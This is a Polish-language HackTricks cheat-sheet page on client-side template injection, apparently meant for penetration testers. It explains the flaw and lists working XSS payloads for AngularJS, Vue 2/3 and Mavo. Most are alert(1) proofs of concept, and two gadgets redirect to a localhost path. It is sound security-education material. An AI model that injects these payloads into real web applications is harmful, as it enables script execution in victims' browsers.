Client Side Template Injection (CSTI)

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące dane.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:


Podsumowanie

To jest jak Wstrzykiwanie szablonów po stronie serwera, ale po stronie klienta. SSTI może pozwolić Ci na wykonanie kodu na zdalnym serwerze, a CSTI może pozwolić Ci na wykonanie dowolnego kodu JavaScript w przeglądarce ofiary.

Testowanie tej podatności jest bardzo podobne jak w przypadku SSTI, interpreter oczekuje szablonu i go wykonuje. Na przykład, z ładunkiem jak {{ 7-7 }}, jeśli aplikacja jest podatna, zobaczysz 0, a jeśli nie, zobaczysz oryginał: {{ 7-7 }}

AngularJS

AngularJS to powszechnie używany framework JavaScript, który współdziała z HTML za pomocą atrybutów znanych jako dyrektywy, zauważalną z nich jest ng-app. Ta dyrektywa pozwala AngularJS przetwarzać zawartość HTML, umożliwiając wykonanie wyrażeń JavaScript wewnątrz podwójnych nawiasów klamrowych.

W sytuacjach, gdy dane wprowadzane przez użytkownika są dynamicznie wstawiane do treści HTML oznaczonej jako ng-app, możliwe jest wykonanie dowolnego kodu JavaScript. Można to osiągnąć, wykorzystując składnię AngularJS wewnątrz danych wejściowych. Poniżej znajdują się przykłady demonstrujące, jak można wykonać kod JavaScript:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Możesz znaleźć bardzo podstawowy przykład online tej podatności w AngularJS na http://jsfiddle.net/2zs2yv7o/ oraz na stronie Burp Suite Academy

Angular 1.6 usunął piaskownicę, więc od tej wersji ładunek taki jak {{constructor.constructor('alert(1)')()}} lub <input ng-focus=$event.view.alert('XSS')> powinien działać.

VueJS

Możesz znaleźć podatną implementację Vue pod adresem https://vue-client-side-template-injection-example.azu.now.sh/ Działający ładunek: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

A źródłowy kod przykładowej podatnej aplikacji znajdziesz tutaj: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

V3

Naprawdę dobry post na temat CSTI w VUE można znaleźć pod adresem https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

{{_openBlock.constructor('alert(1)')()}}

Kredyt: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Kredyt: Mario Heiderich

Sprawdź więcej ładunków VUE w https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Ładunek:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Więcej ładunków w https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Lista detekcji ataków Brute-Force

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcjonalności do sprawdzania, czy firma lub jej klienci zostali skompromitowani przez malware'y kradnące informacje.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z malware'ów kradnących informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo na:

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated